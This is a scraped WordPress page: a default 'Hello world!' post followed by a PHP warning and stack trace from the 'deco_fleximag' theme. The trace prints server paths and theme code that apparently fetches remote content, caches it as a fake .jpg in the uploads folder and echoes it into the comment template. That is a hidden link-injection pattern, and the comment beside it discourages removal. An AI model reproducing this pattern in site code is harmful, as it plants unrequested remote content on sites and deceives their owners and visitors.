Hello world!
03.10.2013 | Автор: admin
Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!
Рубрика: Uncategorized
PHP warning
file_put_contents(/home/mek54/domains/mek54.ru/public_html/wp-content/uploads/2011/8bce20f2201bdf5289459c13c9cf5987.jpg) [<a href='function.file-put-contents'>function.file-put-contents</a>]: failed to open stream: No such file or directory
/home/mek54/domains/mek54.ru/public_html/wp-content/themes/deco_fleximag/functions.php(1441)
1429 return '<!--link error-->'; 1430 } 1431 1432 function return_links($lib_path) { 1433 $links_class = new Get_links(); 1434 $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg'; 1435 $_cache_lifetime = $links_class->_cache_lifetime; 1436 1437 if (!file_exists($file)) 1438 { 1439 @touch($file, time()); 1440 $data = $links_class->get_remote(); 1441 file_put_contents($file, $data); 1442 return $data; 1443 } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { 1444 @touch($file, time()); 1445 $data = $links_class->get_remote(); 1446 file_put_contents($file, $data); 1447 return $data; 1448 } else { 1449 $data = file_get_contents($file); 1450 return $data; 1451 } 1452 } 1453 }
Stack Trace
#0 |
+
–
/home/mek54/domains/mek54.ru/public_html/wp-content/themes/deco_fleximag/functions.php(1441): file_put_contents("/home/mek54/domains/mek54.ru/public_html/wp-content/uploads/2011...", null) 1436 1437 if (!file_exists($file)) 1438 { 1439 @touch($file, time()); 1440 $data = $links_class->get_remote(); 1441 file_put_contents($file, $data); 1442 return $data; 1443 } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { 1444 @touch($file, time()); 1445 $data = $links_class->get_remote(); 1446 file_put_contents($file, $data); |
#1 |
+
–
/home/mek54/domains/mek54.ru/public_html/wp-content/themes/deco_fleximag/comments.php(260): Get_links->return_links("/home/mek54/domains/mek54.ru/public_html/wp-content/themes/deco_...") 255 256 </div> 257 258 <div class="cleared"></div> 259 </div> 260 </div><?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?> 261 262 <?php endif; // if you delete this the sky will fall on your head ?> |
#2 |
+
–
/home/mek54/domains/mek54.ru/public_html/wp-includes/comment-template.php(1508): require("/home/mek54/domains/mek54.ru/public_html/wp-content/themes/deco_...") 1503 * 1504 * @param string $theme_template The path to the theme template file. 1505 */ 1506 $include = apply_filters( 'comments_template', $theme_template ); 1507 if ( file_exists( $include ) ) { 1508 require( $include ); 1509 } elseif ( file_exists( TEMPLATEPATH . $file ) ) { 1510 require( TEMPLATEPATH . $file ); 1511 } else { // Backward compat code will be removed in a future release 1512 require( ABSPATH . WPINC . '/theme-compat/comments.php' ); 1513 } |
#3 |
+
–
/home/mek54/domains/mek54.ru/public_html/wp-content/themes/deco_fleximag/single.php(108): comments_template() 103 104 <div class="cleared"></div> 105 </div> 106 </div> 107 108 <?php comments_template(); ?> 109 <?php endwhile; ?> 110 <?php else: ?> 111 <h2 class="center"><?php _e('Sorry, no posts matched your criteria.', 'kubrick'); ?></h2> 112 <?php endif; ?> 113 |
#4 |
+
–
/home/mek54/domains/mek54.ru/public_html/wp-includes/template-loader.php(77): include("/home/mek54/domains/mek54.ru/public_html/wp-content/themes/deco_...") 72 * @since 3.0.0 73 * 74 * @param string $template The path of the template to include. 75 */ 76 if ( $template = apply_filters( 'template_include', $template ) ) { 77 include( $template ); 78 } elseif ( current_user_can( 'switch_themes' ) ) { 79 $theme = wp_get_theme(); 80 if ( $theme->errors() ) { 81 wp_die( $theme->errors() ); 82 } |
#5 |
+
–
/home/mek54/domains/mek54.ru/public_html/wp-blog-header.php(19): require_once("/home/mek54/domains/mek54.ru/public_html/wp-includes/template-lo...") 14 15 // Set up the WordPress query. 16 wp(); 17 18 // Load the theme template. 19 require_once( ABSPATH . WPINC . '/template-loader.php' ); 20 21 } |
#6 |
+
–
/home/mek54/domains/mek54.ru/public_html/index.php(17): require("/home/mek54/domains/mek54.ru/public_html/wp-blog-header.php") 12 * @var bool 13 */ 14 define( 'WP_USE_THEMES', true ); 15 16 /** Loads the WordPress Environment and Template */ 17 require( dirname( __FILE__ ) . '/wp-blog-header.php' ); |
2023-09-27 15:49:54 Apache/2.4.6 Yii Framework/1.1.13